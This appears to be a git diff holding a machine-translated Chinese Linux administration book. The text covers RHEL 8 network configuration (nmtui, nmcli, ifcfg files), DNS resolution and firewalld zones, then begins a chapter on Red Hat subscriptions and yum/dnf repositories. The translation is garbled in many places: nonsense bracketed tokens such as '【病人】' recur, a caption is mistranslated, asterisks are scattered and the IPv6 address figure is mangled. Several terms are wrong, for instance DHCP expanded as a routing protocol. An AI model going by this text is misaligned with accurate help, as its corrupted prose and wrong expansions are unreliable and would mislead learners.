在编辑网络配置之前,请确保您可以通过其他方式访问正在配置的系统。 对于服务器,这可以通过远程管理卡或物理控制台访问来完成。 配置中的错误可能会导致系统无法访问。 - -在我们继续之前,让我们了解一下 IPv4 和 IPv6 - -## IPv4 和 IPv6… 这是什么意思? - -IPv4 是在 1983 年创建的,使用 32 位地址空间,它提供了 2³²唯一的地址(`4,294,967,296`),但从这些可能的地址中,大块被保留用于特殊用途。 IPv6,在 2017 年被批准为互联网标准,是撰写本文时的最新版本,使用 128 位地址空间代替; 即 2¹²会被⁸(3.4 x 10³)。**** - -**长话短说,IPv4 地址的数量似乎还是很大的,但是今天,在手机、平板电脑、电脑、笔记本电脑、服务器、灯泡、智能插座上,和所有其他的**物联网**(**物联网)设备需要一个 IP 地址,这个数字已经的公共 IP 地址, 这意味着不可能分配更多。 这引起了一些**互联网服务提供商【显示】(****ISP)使用电信等级网络地址转换技术,如**【病人】(**CGNAT**),类似于私人网络做什么,导致一些设备出现的所有流量来自只有一个 IP, 以及让设备在两个网络(路由器)上交互,以便从传出和传入包进行正确的路由到原始请求者。******** - -那么为什么没有 IPv6 呢? 主要的问题是 IPv4 和 IPv6 是不可互操作的,即使 IPv6 在 1998 年是一个草案,并不是所有的网络设备都兼容它,可能还没有经过测试。 查看[https://www.ripe.net/support/training/videos/ipv6/transition-mechanisms](https://www.ripe.net/support/training/videos/ipv6/transition-mechanisms)了解更多细节。 - -在下一节中,我们将学习如何使用一个基于文本的用户界面来配置名为`nmtui`的 NetworkManager 网络接口。 - -## 配置 nmtui 接口 - -`nmtui`提供文本配置界面。 这是你在终端上运行`nmtui`时看到的初始屏幕: - -![Figure 6.2 – The nmtui welcome screen showing a menu of possible actions that can be performed ](img/B16799_06_002.jpg) - -图 6.2 - nmtui 欢迎屏幕显示一个包含可能执行的操作的菜单 - -让我们研究一下接口可用的选项。 在本例中,我们选择**Edit a connection**。 在出现的屏幕上,向下移动并编辑我们系统中的**有线连接**选项,以到达以下屏幕: - -![Figure 6.3 – The Edit Connection page with the IPv4 options expanded ](img/B16799_06_003.jpg) - -图 6.3 -编辑连接页面与 IPv4 选项展开 - -将很难显示每个步骤的截图,因为文本界面的优点之一是我们可以将许多选项压缩到一个简单的屏幕中。 然而,前面的截图让我们很容易理解每个必需的参数: - -* IP 地址 -* 子网掩码 -* 网关 -* 搜索域 -* 路由 - -如您所见,有一些复选框用于忽略在将连接设置为`Automatic`时获得的路由或 DNS 参数。 此外,接口还有其他选项:`Disabled`、`Link-Local`、`Manual`和`Shared`。 - -让我们讨论一下`Automatic`选项,这意味着接口将被设置为自动配置。 这是配置中最常见的设置之一。 但这并不意味着一切都是神奇的。 让我们再深入研究一下。 - -在一个网络(公司网络、私有网络和其他网络)中,通常有一个特殊的服务或服务器执行**动态主机路由协议**(**DHCP**)。 DHCP 是一种运行在 TCP/IP 之上的协议,它允许您动态地配置主机,使用以前由网络管理员或某些设备及其默认设置进行的配置。 - -DHCP 允许您(从客户端)自动配置网络配置的许多方面,例如 IP、子网掩码、网关、DNS、搜索域、时间服务器等等。 接收到的配置被赋予一个在一段时间内有效的租约。 在此之后,系统尝试更新租期,或者如果系统正在断电或断开连接,租期将被释放。 - -DHCP 配置通常被认为是与动态 ip,但请记住,DHCP 服务器可以使用两种不同的方法:一个 IPs 池,可以重用的不同系统连接和固定映射静态 ip 的 MAC 地址。 - -让我们以为例,考虑一个**Small Office - Home Office**(**SOHO**)网络,在`192.168.1.0/24`子网中有一个私有 IP 范围。 - -由于子网(`/24`),我们可以定义 ISP 路由器在 IP`192.168.1.1`上,这意味着 IPv4 地址的最后一部分可以从 0 到 255。 - -使用该 IP 范围,我们可以设置主机来获得动态配置,并从最近 100 个 IP 池中获取动态 IP,将最开始的 IP 留给固定设备(即使它们动态获得配置),比如打印机、存储设备等等。 - -正如前面提到的,我们可以为服务器创建预订,但通常,对于始终拥有相同地址的设备,配置静态地址也是常见的做法。 这样,如果 DHCP 服务器不可用,这些服务器将仍然可以从其他服务与有效租约或其他服务器/设备配置静态地址。 - -提示 - -为了熟悉这个概念,IP 地址在 IPv4 中用点表示法表示,用四组数字分隔,例如`192.168.2.12`,而在 IPv6 中,数字用`:`分隔; 例如`2001:db8:0:1::c000:207`。 - -## 使用 nm-connection-editor 配置接口 - -如果我们的系统安装了图形环境,而我们的测试系统没有这样做,我们可以使用图形配置工具。 如果没有安装,继续在图形会话内的 shell 控制台中执行`dnf install nm-connection-editor`。 - -提示 - -如果需要安装图形界面,可以运行`dnf groupinstall "Server with GUI" -y`命令或在安装过程中选择`dnf groupinstall "Server with GUI" -y`命令。 - -在下面的截图中,我们可以看到通过执行`nm-connection-editor`打开的窗口。 它类似于本章前面`nmtui`所示的文本界面: - -![Figure 6.4 – Initial screen for nm-connection-editor ](img/B16799_06_004.jpg) - -图 6.4 - nm-connection-editor 的初始屏幕 - -在这里,我们可以看到**+**、**-**和*齿轮*按钮,它们分别用于添加/删除或配置突出显示的连接。 - -点击**连线**选项,然后点击**齿轮**图标,打开详细信息: - -![Figure 6.5 – Dialog for editing a network connection ](img/B16799_06_005.jpg) - -图 6.5 -编辑网络连接的对话框 - -在对话框中,我们可以看到在更简单的命令行配置工具中拥有的字段,以及额外的字段和针对每组选项的不同选项卡。 - -需要记住的重要字段是那些在**General**选项卡中以优先级自动连接的字段。 这使我们的系统能够在连接可用时自动启用该网卡。 - -通过检查不同的选项卡,您可以发现有很多选择,比如标记要测量的连接。 这意味着,例如,如果通过移动电话连接,如果网络使用不受控制,可能会指定额外的费用。 - -当我们创建额外的网络,我们可以定义物理或虚拟设备基于包我们已经安装在我们的系统(如果你还记得我们看到包的列表时,寻找使我们包了不同的 vpn, wi - fi,和其他人),我们可以看到下面的截图: - -![Figure 6.6 – nm-connection-editor with plugins for Wi-Fi, OpenVPN, PPTP, Bluetooth, and more installed ](img/B16799_06_006.jpg) - -图 6.6 - nm-connection-editor 与插件 Wi-Fi, OpenVPN, PPTP,蓝牙,和更多安装 - -服务器环境,最常见的网络类型是**债券**,**,和**(【显示】以太网**的一部分),而对于台式机,最常见的网络类型是**以太网**,【病人】wi - fi、和**宽带。**** - - **每种类型的连接都有一些要求。 例如,对于绑定、桥梁和团队,我们需要不止一个可以组合的网络接口。 - -现在,让我们在下一节中回顾一下`nmcli`的用法。 - -## 配置 nmcli 接口 - -`nmcli`是 NetworkManager 的命令行界面。 它不仅允许我们检查系统中的网络接口,而且还允许我们配置系统中的网络接口,即使使用它可能需要比`nmtui`所需的更多的内存技能,它也允许用户和管理员使用脚本功能来自动化系统的网络设置。 - -提示 - -大多数命令允许我们使用自动补全; 也就是说,按下*Tab*键将使用命令行上的自动补全列表来建议语法。 例如,在命令行上输入`nmcli dev`,然后按*Tab*将自动完成命令到`nmcli device`。 在这种情况下,它可能不那么关键,因为`nmcli`将两个参数都视为有效,但对于其他参数,必须正确地拼写它,才能使代码正常工作。 - -让我们用`nmcli dev`开始检查系统中可用的连接,然后使用`nmcli con show`检查其详细信息: - -![Figure 6.7 – nmcli dev and nmcli con show ](img/B16799_06_007.jpg) - -输入 n nmcli 和 nmcli 歌剧院 - -当控制一个网络连接时,例如,当使用`nmcli con up "Wired Connection"`或使用`nmcli con down ens3`禁用它时,我们应该记住我们对 NetworkManager 的解释: 如果该连接在系统中可用,NetworkManager 可能会在断开连接后重新激活该连接,因为所需的连接和设备在我们的系统中可用。 - -现在,让我们创建一个新的接口来演示通过 IPv4 添加一个新连接的过程: - -```sh -nmcli con add con-name eth0 type ethernet \ - ifname eth0 ipv4.address 192.168.1.2/24 \ - ipv4.gateway 192.168.1.254 -``` - -我们可以在 IPv6 上做同样的事情: - -```sh -nmcli con add con-name eth0 type ethernet \ - ifname eth0 ipv6.address 2001:db8:0:1::c000:207/64 \ - ipv6.gateway 2001:db8:0:1::1 ipv4.address \ - 192.0.1.3/24 ipv4.gateway 192.0.1.1 -``` - -一旦前命令被执行,我们可以检查已定义的网络连接`nmcli connection show eth0`和验证适当的设置(当然,通过`nmtui`、`nm-connection-editor`,或磁盘上创建的文本文件中存储的信息共享和系统)。 - -当我们回顾`nmcli connection show interface`的输出时,输出包含了一些用点分隔的键,如下所示: - -* `ipv4.address` -* `ipv4.gateway` -* `ipv6.address` -* `ipv6.gateway` -* `connection.id` - -我们可以使用这些键通过`nmcli con mod $key $value`定义新值,如下例所示: - -![Figure 6.8 – Example of modifying a network connection to change the name of the connection ID and IP address ](img/B16799_06_008.jpg) - -图 6.8 -修改网络连接以更改连接 ID 和 IP 地址的名称的示例 - -当然,在完成上述测试后,我们也可以将连接移除,以避免我们的系统与`nmcli con del datacenter`出现问题。 - -可以使用以下命令修改`nmcli`工具的连接: - -* `nmcli con show`:显示连接状态。 -* `nmcli con show NAME`:显示名为`NAME`的连接的详细信息。 -* `nmcli dev status`:显示系统中设备的状态。 注意,这意味着**设备**,而不是可能正在使用这些设备的连接。 -* `nmcli con add con-NAME`:添加新连接。 -* `nmci con mod NAME`:修改连接。 -* `nmcli con up NAME`:连接。 -* `nmcli con down NAME`:关闭一个连接(该连接仍然可以被 NetworkManager 重新启用)。 -* `nmcli con del NAME`: Removes a connection definition from the system. - - 提示 - - 检查`man nmcli-examples`到,找到系统文档中包含的更多示例。 - -## 配置文本文件接口 - -在前面的小节中,我们探讨了如何使用不同的方法配置网络,但是最后,所有这些配置最终都作为接口定义文件写入磁盘(这也提供了与前面提到的`network-scripts`的向后兼容性)。 - -与其从头开始创建接口定义,不如让我们看看在使用以下命令创建接口时`nmcli`做了什么: - -```sh -nmcli con add con-name eth0 type ethernet ifname eth0 ipv6.address 2001:db8:0:1::c000:207/64 ipv6.gateway 2001:db8:0:1::1 ipv4.address 192.0.1.3/24 ipv4.gateway 192.0.1.1 -``` - -前面的命令将生成`/etc/sysconfig/network-scripts/ifcfg-eth0`文件,我们可以在下面的截图中看到: - -![Figure 6.9 – Contents of the /etc/sysconfig/network-scripts/ifcfg-eth0 connection definition ](img/B16799_06_009.jpg) - -图 6.9 - /etc/sysconfig/network-scripts/ifcfg-eth0 连接定义的内容 - -可以看到,在默认情况下,我们使用`eth0`设备指定了`Ethernet`(`TYPE`)类型的网络接口,并提供了用于 IPv4 和 IPv6 寻址和网关的值。 键的名称与用`nmcli`定义的键的名称不同,原因是我们具有向后兼容性。 - -注意,在上面的示例中,`ONBOOT`字段已经设置为`yes`,这意味着该接口将在系统启动时自动启用。 如果我们使用`nmcli`,我们可以通过`connection.autoconnect`配置键检查状态,默认情况下,这也将使连接在引导时自动启用。 - -我们可以直接编辑这些文件,但是为了让 NetworkManager 知道将要引入的更改,必须执行`nmcli con reload`。 这将同步对单个文件所做的更改。 - -例如,我们可以更正前面文件中的一个设置,因为对于静态定义的 ip,定义`BOOTPROTO=none`是一种常见的做法。 使用您喜欢的方法修改`/etc/sysconfig/network-scripts/ifcfg-eth0`文件(`vim`、`nano`、`sed`或其他)。 我们可以通过`nmcli`查看其他细节,也可以修改 IP 地址。 - -注意,在下面的截图中,在我们发出`reload`命令之前,这些更改不会出现在`nmcli`中: - -![Figure 6.10 – The process of editing an interface definition doesn't show up on nmcli until we reload the connections ](img/B16799_06_010.jpg) - -图 6.10 -编辑接口定义的过程在 nmcli 中没有显示出来,直到我们重新加载连接 - -当然,我们也可以从零开始创建网络定义,在 NetworkManager 出现并传播之前,这种方法被用于脚本,包括通过 kickstart 文件自动安装的 Anaconda。 - -让我们在 IPv4 中创建一个简单的网络定义,如下截图所示: - -![Figure 6.11 – Creating a connection using a configuration file (that can be part of a script) ](img/B16799_06_011.jpg) - -图 6.11 -使用配置文件(可以是脚本的一部分)创建连接 - -在这里,您可以不仅可以看到连接的创建,还可以看到之前的状态、接口定义、系统的 NetworkManager 视图,以及重新加载的配置文件的比较。 请注意,设备列是空的,因为我们为该连接定义了一个接口,而这个接口在我们的系统中不存在。 - -重要提示 - -网络接口定义可能成为一个噩梦,因为接口名称本身受制于几个规则,例如接口在总线中的位置、是否之前看到过它等等。 通常,一旦在系统中检测到网卡,就会编写一个自定义规则,将接口的 MAC 地址与自定义命名约定相匹配。 这样它就不会在重新启动或新软件更新改变我们必须枚举卡片的方式时发生改变。 你可以阅读更多关于这个主题通过查看官方 RHEL8 手册[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/consistent-network-interface-device-naming_configuring-and-managing-networking](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/consistent-network-interface-device-naming_configuring-and-managing-networking)。 - -现在我们已经回顾了在系统中配置网络的不同方法,让我们了解一下命名分辨率。 - -# 配置主机名和主机名解析(DNS) - -记住 IP 地址,无论它们是 IPv4 地址还是 IPv6 地址,都可能成为一场噩梦。 为了使事情更简单,对主机名和 DNS 使用了更人性化的方法,因为我们可以将那些更容易记住的名称转换为系统用于连接的 IP 地址。 - -主机名是我们分配给主机以识别它们的名称,但是当它们被用于 DNS 服务器之外时,我们必须有其他主机能够*将*解析为它们可以连接到的 IP 地址。 - -我们可以使用`hostname`命令查看或临时修改当前主机名,如下图所示: - -![Figure 6.12 – Querying and changing the hostname for our host ](img/B16799_06_012.jpg) - -图 6.12 -查询和更改主机的主机名 - -记住,这种变化只是暂时的; 只要我们重启服务器,它就会使用配置好的服务器。 - -要定义一个新的配置主机名,我们将使用`hostnamectl set-hostname`命令,如下面的截图所示: - -![Figure 6.13 – Checking the previously configured hostname and the definition of a new one via hostnamectl ](img/B16799_06_013.jpg) - -图 6.13 -检查前面配置的主机名和通过 hostnamectl 定义的新主机名 - -注意在前面的示例中,我们有`Transient hostname`和`Static hostname`,这指的是用`hostname`而不是`hostnamectl`定义的名称的临时状态。 - -当涉及到名称解析时,我们可以采用几种方法。 当然,一种是使用 DNS 服务器,我们稍后将在本节中解释,但还有其他方式。 - -通常,系统有几个解析器,它们在`/etc/nsswitch.conf`配置文件中定义。 这些解析器不仅用于网络命名,而且还用于解析用户,例如,企业**LDAP**服务器可能用于定义用户、密码等。 默认情况下,`nsswitch.conf`指示我们的系统使用`hosts: files dns myhostname`来解析这个条目。 - -这意味着我们使用`/etc/`目录中的文件作为我们的第一个源文件。 在主机名的情况下,这指的是`/etc/hosts`文件。 如果在该文件中定义了一个条目,则将使用指定的值; 如果不是,则`/etc/resolv.conf`文件将决定如何继续其决议。 这些文件,特别是`resolv.conf`,是在部署系统和激活连接时配置的。 如果使用自动配置,NetworkManager 会负责更新通过 DHCP 获取的值,如果使用手动配置,则会负责更新指定的 DNS 服务器。 - -在以下截图中,我们可以看到定义的条目已经在我们的`/etc/hosts`文件,如何 ping 主机失败,因为名字不存在,以及如何,后手动`/etc/hosts`将一个条目添加到文件中,我们的系统是能够达到: - -![Figure 6.14 – Adding a static host entry to our local system ](img/B16799_06_014.jpg) - -图 6.14 -向本地系统添加一个静态主机条目 - -正如前面提到的,DNS 解析是通过配置`/etc/resolv.conf`完成的,默认情况下,该配置包含一个`search`参数和一个`nameserver`参数。 查看`resolv.conf`的手册页,可以得到常见参数的描述: - -* `nameserver`:包含要使用的命名服务器的 IP。 目前,系统中的`resolv`库最多只能使用三个条目(每个条目在自己的行上)。 解析每次按顺序执行,所以如果一个服务器失败,它将超时,然后尝试下一个服务器,以此类推。 -* `domain`:本地域名。 它允许我们对主机使用相对于本地域的简短名称。 如果没有列出,则根据系统的主机名(第一个“`.`”之后的所有内容)计算它。 -* `search`: By default, this contains the local domain name, and it's the list of domains we can attempt to use to resolve the short name that's provided. It's limited to 6 domains and 256 characters. Domain and search are mutually exclusive, since the last one in the file is the one to be used. - - 提示 - - DNS 解析通过向特定的服务器(DNS)请求域的相关数据来工作。 这是以分层的方式进行的,最顶端的通用服务器被称为**根服务器**。 DNS 服务器不仅包含用于将主机名转换为 ip 的注册表或条目,而且还包含关于发送电子邮件时使用的邮件服务器、安全性验证细节、反向条目等信息。 此外,DNS 服务器可以通过返回一些域的无效 ip 来阻止对服务的访问,或者通过使用比 ISP 提供的更快的 DNS 服务器来加速互联网导航。 当注册域名时,在根表中创建一个新的条目,指向 DNS 服务器。 这将处理域解析,稍后,这些条目将被填充和缓存在互联网上以更快的解析。 - -如果我们想修改为一个连接定义的 DNS 服务器,记住使用`nmcli con mod NAME ipv4.dns IP`(或 IPv6 等效),并预先使用`+`符号,如`+ipv4.dns`,向 DNS 服务器列表添加一个新条目。 对`resolv.conf`的任何手动更改都可能被覆盖。 - -现在我们已经了解了 DNS 的工作原理以及系统如何使用它,接下来让我们看看如何保护系统网络访问。 - -# 防火墙配置概述 - -当一个系统连接到网络时,许多正在运行的服务可以从其他系统到达。 这就是连接系统的目的。 然而,我们也希望保持系统的安全,远离未经授权的使用。 - -防火墙**是位于网卡和服务之间的软件层,它允许我们微调什么是允许的,什么是不允许的。** - - **我们不能像往常一样完全阻塞所有进入系统的连接,进入的连接是系统请求的响应。 - -连接通过一个名为**netfilter**的内核框架被阻止,该框架被防火墙软件用来修改数据包的处理方式。 **Nftables【显示】是新过滤器和包分类器子系统,提高 netfilter 代码的部分,但保留了建筑和提供更快的处理在其他功能只使用一个接口(**【病人】非功能性测试),因此不以为然的旧框架如`iptables`、`ip6tables`,`ebtables`和`arptables`。**** - -重要提示 - -如前所述,关于网络配置,防火墙中的错误配置可能会将您锁定在系统之外,因此在设置一些限制性规则时要非常小心,以便在远程访问系统时可以再次登录系统。 - -防火墙**是 nftables 框架的前端,在它被采用之前,通过 iptables 与 netfilter 接口。 在绝大多数情况下,防火墙应该能够处理过滤的需求,所以它是编辑规则的推荐前端。 可以通过安装`firewalld`包在系统上安装它,该包应该包含在基本安装中。 一旦安装,它将提供`firewall-cmd`命令与服务交互。** - - **Firewalld 使用了区域的概念,这允许我们为每个区域预定义一组规则。 这些也可以分配给网络连接。 这是更相关的,例如,对于可能在连接中漫游的笔记本电脑,当您使用家庭或公司连接时,它们可能有一些默认设置。 然而,当你在自助餐厅使用 Wi-Fi 时,它们会默认设置为更安全的。 - -Firewalld 还使用预定义的服务,因此防火墙知道应该根据服务和已启用的区域启用哪些端口和协议。 - -让我们来看看可用的区域和一些关于 home zone 的更多细节: - -![Figure 6.15 – Available zones and configuration for the zone home ](img/B16799_06_015.jpg) - -图 6.15 -可用区域和区域主的配置 - -可以看到,已经定义了几个区域: - -* `public`:新增接口的缺省区域。 它允许我们座舱 SSH 和 DHCP 客户端,并拒绝所有传入的流量与传出的流量无关。 -* `block`:拒绝所有传入的流量,除非它与传出的流量相关。 -* `dmz`:拒绝所有传入的流量,除非是与传出或 SSH 连接相关的。 -* `drop`:丢弃所有与出包无关的入包(甚至 ping 也不例外)。 -* `external`:阻断所有流入的流量,除了与流出相关的流量。 它还允许 SSH,并将流量伪装成来自这个接口。 -* `home`:除 public 外,还允许`smb`、`mdns`。 -* `internal`:基于 home zone。 -* `trusted`:允许所有传入流量。 -* `work`:阻断所有入方向的流量,除了与出方向、SSH/座舱/DHCP 相关的流量。 - -接下来,我们将学习在配置防火墙时如何使用这些区域。 - -## 配置防火墙 - -所示的介绍这一节中,可以配置防火墙通过`firewall-cmd`命令(以及驾驶舱 web 界面,在这本书所述第四章[*【4】【5】,*工具,常规操作*)。 最常用的命令选项如下:*](04.html#_idTextAnchor059) - -* `firewall-cmd --get-zones`:列出可用分区。 -* `firewall-cmd --get-active-zones`:列出已分配的活动区域和接口。 -* `firewall-cmd --list-all`:转储当前配置。 -* `firewall-cmd --add-service`:向当前分区添加服务。 -* `firewall-cmd --add-port`:添加端口/协议到当前 zone。 -* `firewall-cmd --remove-service`:从当前区域移除服务。 -* `firewall-cmd --remove-port`: Removes the port/protocol from the current zone. - - 重要提示 - - 注意,在前面的命令之后,需要提到端口号和服务名称来添加或删除服务/端口。 - -* `firewall-cmd --reload`:从保存的数据重新加载配置,从而丢弃运行时配置。 -* `firewall-cmd –get-default-zone`:获取默认区域。 -* `firewall-cmd --set-default-zone`:定义要使用的默认区域。 - -例如,当我们在系统中安装一个 HTTP 服务器(用于服务网页)时,TCP 上的端口`80`必须启用。 - -让我们在示例系统中通过安装、运行和打开 HTTP 端口来尝试一下: - -```sh -dnf –y install httpd -systemctl enable httpd -systemctl start httpd -firewall-cmd –add-service=http -curl localhost -``` - -最后一个命令将向本地`http`服务器发起请求以获取结果。 如果您可以访问其他系统,您可以尝试连接到服务器的 IP,我们一直在使用该服务器来监视系统提供的默认 web 页面。 - -在下面的屏幕截图中,我们可以看到`curl localhost`命令的输出: - -![Figure 6.16 – Output of curl when requesting the web page hosted by our system ](img/B16799_06_016.jpg) - -图 6.16 -请求由系统托管的 web 页面时 curl 的输出 - -至此,我们已经回顾了如何配置一些基本的防火墙规则,因此我们准备检查网络的连通性。 - -# 测试网络连接 - -在前面的部分中,我们与定义、限制或允许连接到系统的网络接口、地址和防火墙规则进行了交互。 在本节中,我们将回顾一些基本工具,这些工具可用于验证网络连接是否存在。 - -请注意,以下命令假设防火墙没有设置为严格模式,并且我们可以使用**Internet 控制消息协议**(**ICMP**)到达承载该服务的服务器。 在安全的网络中,服务可能正在工作,但不响应 ping -它可能只响应服务查询本身。 - -这里有几个我们可以使用的命令,因此考虑以下诊断问题的建议: - -* 检查本地接口的 IP 地址、子网掩码和网关。 -* 使用网关 IP 地址的`ping`命令验证网络配置是否正确。 -* 使用`ping`命令 ping`/etc/resolv.conf`中的 DNS 服务器,查看是否可达。 也可以使用`host`或`dig`命令查询 DNS 服务器。 -* 如果假设有外部网络连接,尝试连接外部 DNS 服务器,如`8.8.8.8`或`1.1.1.1`,或者使用`curl`或`wget`请求一些已知服务的网页; 如`curl nasa.gov`。 - -这将根据您对测试的深入程度,大致了解问题可能在哪里。 请记住,还有其他工具,如`tracepath`,可以显示 TCP 包到达目的地之前的跳数。 每个命令的手册页将为您提供使用提示和示例。 - -在下面的截图中,你可以看到`tracepath`在一个 web 服务器上的输出: - -![Figure 6.17 – The output of the tracepath command against the University of Valencia, Spain web server ](img/B16799_06_17.jpg) - -图 6.17 - tracepath 命令对西班牙瓦伦西亚大学 web 服务器的输出 - -正如我们所看到的,在数据包到达目标主机之前,共有 11 个步骤在不同服务器上执行。 这使我们能够了解包如何通过 internet 到达目标系统。 - -# 总结 - -在本章中,我们学习了如何使用不同的方法配置网络接口,这些方法可以是手动交互,也可以是通过脚本或自动化配置的方法。 - -还介绍了一些网络问题的故障排除,以帮助我们找到可能发生的一些基本错误。 - -正如我们在本章导言中提到的,网络是我们的系统到达其他服务并向其他系统提供服务的基础。 我们还介绍了更复杂的网络设置的想法,这不在 RHCSA 级别的范围内,但至少熟悉我们将在我们的职业生涯中使用的关键字是有趣的。 - -在下一章中,我们将讨论一些与安全相关的重要主题,如添加、打补丁和管理系统中的软件。****** \ No newline at end of file diff --git a/docs/rhel8-admin/07.md b/docs/rhel8-admin/07.md deleted file mode 100644 index 74b96e83..00000000 --- a/docs/rhel8-admin/07.md +++ /dev/null @@ -1,921 +0,0 @@ -# 七、添加、修补和管理软件 - -维护系统的软件,关闭安全问题,应用修复程序,并保持系统的更新是系统管理中的一项基本任务。 在本章中,我们将回顾**Red Hat 订阅管理系统**是如何工作的,如何确保软件包经过验证,以及其他软件管理任务来保持系统的新鲜度。 - -再深入一点细节,在这一章中,我们将讨论订阅系统是如何工作的,以及如何使用你的开发者订阅来进行自我培训或安装个人服务器。 我们还将检查如何管理您的系统将使用的软件起源,也称为存储库。 这包括学习签名在包管理中的作用,以确保安装的软件是 Red Hat 提供的软件。 我们还将学习关键任务,如添加和删除包和包组,使用模块化的不同软件版本,以及检查和回滚更改。 - -为了简化扩展知识的过程,使您能够准备自己的实验室,我们将了解如何在您的系统中拥有所有**Red Hat Enterprise Linux (RHEL)**存储库的完整本地副本。 - -最后但并非最不重要的是,我们需要了解**Red Hat Package Manager**(**RPM**),现在已更改为 RPM Package Manager,通过学习包管理内部工作原理的基础知识。 - -总而言之,本章将涵盖以下主题: - -* RHEL 订阅的注册和管理 -* 使用 Yum/DNF 管理存储库和签名 -* 使用 Yum/DNF 进行软件安装、更新和回滚 -* 使用 createrepo 和 reposync 创建和同步存储库 -* 理解 RPM 内部 - -现在,让我们开始管理系统中的软件。 - -# RHEL 订阅注册与管理 - -RHEL 是一个完全的**开源操作系统**,这意味着用于构建它的所有源代码都可以访问、修改、重新发布和学习。 另一方面,预构建的二进制文件作为服务交付,可以通过订阅访问。 如[*第 1 章*](01.html#_idTextAnchor014),*安装 RHEL8*中所示,我们可以有一个开发者订阅供我们自己使用。 该订阅提供了对 ISO 映像的访问,还提供了对 RHEL 8 中已更新、签名的包的访问。 这些是世界上许多公司在生产中使用的完全相同的比特。 - -让我们看看如何在我们自己的系统中使用订阅。 - -首先,让我们看看在[https://access.redhat.com](https://access.redhat.com)的**Red Hat Customer Portal**,然后点击**LOG IN**: - -![Figure 7.1 – Log into the Red Hat Customer Portal ](img/B16799_07_001.jpg) - -图 7.1 -登录 Red Hat Customer Portal - -点击**LOG IN**,所有 Red Hat 服务将被重定向到**单点登录**页面。 在那里,我们将需要使用我们在[*Chapter 1*](01.html#_idTextAnchor014),*Installing RHEL8*中创建的用户名。 在下面的截图中,我们以`student`为例: - -![Figure 7.2 – Entering our username in Red Hat Single Sign-On ](img/B16799_07_002.jpg) - -图 7.2 -在 Red Hat 单点登录中输入用户名 - -现在是输入密码进行验证的时间: - -![Figure 7.3 – Entering our password in Red Hat Single Sign-On ](img/B16799_07_003.jpg) - -图 7.3 -在 Red Hat 单点登录中输入密码 - -登录后,我们将通过点击顶部栏的**subscriptions**链接进入**Red Hat 订阅页面**: - -![Figure 7.4 – Accessing the subscriptions page in the Red Hat Customer Portal ](img/B16799_07_004.jpg) - -图 7.4 -在 Red Hat Customer Portal 中访问订阅页面 - -对于订阅了一台物理机器的用户,订阅页面将如下所示: - -![Figure 7.5 – Subscription page example in the Red Hat Customer Portal ](img/B16799_07_005.jpg) - -图 7.5 - Red Hat Customer Portal 中的订阅页面示例 - -提示 - -开发者订阅于 2021 年 1 月更新为,最多支持 16 个系统。 您可以将您的帐户用于多个系统,以模拟更大的类似于生产的部署。 - -现在让我们注册我们的新系统: - -```sh -[root@rhel8 ~]# subscription-manager register -Registering to: subscription.rhsm.redhat.com:443/subscription -Username: student -Password: -The system has been registered with ID: d9673662-754f-49f3-828c-86fd9f5b4e93 -The registered system name is: rhel8.example.com -``` - -这样,我们的系统将在 Red Hat**内容分发网络**(**CDN**)中注册,但仍然不会分配订阅。 - -让我们进入订阅页面并刷新以查看那里的新系统。 点击**查看所有系统**继续: - -![Figure 7.6 – Subscriptions page with the new subscribed system ](img/B16799_07_006.jpg) - -图 7.6 -带有新订阅系统的订阅页面 - -我们可以在页面上看到我们的新系统`rhel8.example.com`,它旁边有一个红色的方块,表示它没有附加订阅。 让我们点击系统名称查看详细信息: - -![Figure 7.7 – Subscription page with the new subscribed system ](img/B16799_07_007.jpg) - -图 7.7 -带有新订阅系统的订阅页面 - -一旦进入特定的系统页面,我们将看到系统的所有细节。 我们点击**订阅**查看附件: - -![Figure 7.8 – Subscriptions page with the new subscribed system's details ](img/B16799_07_008.jpg) - -图 7.8 -订阅页面,包含新订阅系统的详细信息 - -我们可以在页面上看到,该系统没有附加的订阅: - -![Figure 7.9 – Subscriptions page with the new subscribed system, with no subscription attached ](img/B16799_07_009.jpg) - -图 7.9 -带有新的订阅系统的订阅页面,没有附加订阅 - -让我们使用`subscription-manager attach`为系统附加一个订阅: - -```sh -[root@rhel8 ~]# subscription-manager attach --auto -Installed Product Current Status: -Product Name: Red Hat Enterprise Linux for x86_64 -Status: Subscribed -``` - -命令的结果显示系统现在已经注册,并且有一个关于`Red Hat Enterprise Linux for x86_64`的订阅。 让我们刷新系统的页面,以确保订阅附件正常运行: - -![Figure 7.10 – Subscriptions page with the new subscribed system, with one subscription attached ](img/B16799_07_010.jpg) - -图 7.10 -带有新订阅系统的订阅页面,附加了一个订阅 - -这样,我们就可以确定系统已经正确地注册和订阅了 Red Hat CDN,并且已经准备好访问所有可用的软件、补丁和更新。 - -此外,在系统中,我们可以看到一个包含软件**存储库**(简称**repos**信息的新文件已经创建: - -```sh -[root@rhel8 ~]# ls -l /etc/yum.repos.d/redhat.repo --rw-r--r--. 1 root root 94154 feb 6 15:17 /etc/yum.repos.d/redhat.repo -``` - -现在,我们知道了如何管理可用的订阅并将它们分配给正在运行的系统,以便它能够访问 RedHat 构建的软件二进制文件。 在下一节中,让我们了解更多关于如何使用所提供的存储库的信息。 - -# 使用 YUM/DNF 管理存储库和签名 - -RHEL 与许多其他 Linux 发行版一样,具有提供基于 repos 的软件的机制。 它们包含软件包列表(可以是终端用户应用,如 Firefox,或它们的组件,如 GTK3)、软件包之间的依赖关系列表,以及其他有用的元数据。 - -一旦我们订阅完系统,我们可以使用`yum`或`dnf`查看系统中可用的存储库: - -```sh -[root@rhel8 ~]# yum repolist -Updating Subscription Management repositories. -repo id repo name -rhel-8-for-x86_64-appstream-rpms Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -[root@rhel8 ~]# dnf repolist -Updating Subscription Management repositories. -repo id repo name -rhel-8-for-x86_64-appstream-rpms Red Hat Enterprise Linux 8 for x86_64 - AppStream (RPMs) -rhel-8-for-x86_64-baseos-rpms Red Hat Enterprise Linux 8 for x86_64 - BaseOS (RPMs) -``` - -可以看到,`yum`和`dnf`的输出完全相同。 事实上,`dnf`是`yum`的演变,在 RHEL8 中`yum`命令只是与`dnf`的符号链接: - -```sh -[root@rhel8 ~]# which yum -/usr/bin/yum -[root@rhel8 ~]# ll /usr/bin/yum -lrwxrwxrwx. 1 root root 5 jul 29 2020 /usr/bin/yum -> dnf-3 -[root@rhel8 ~]# which dnf 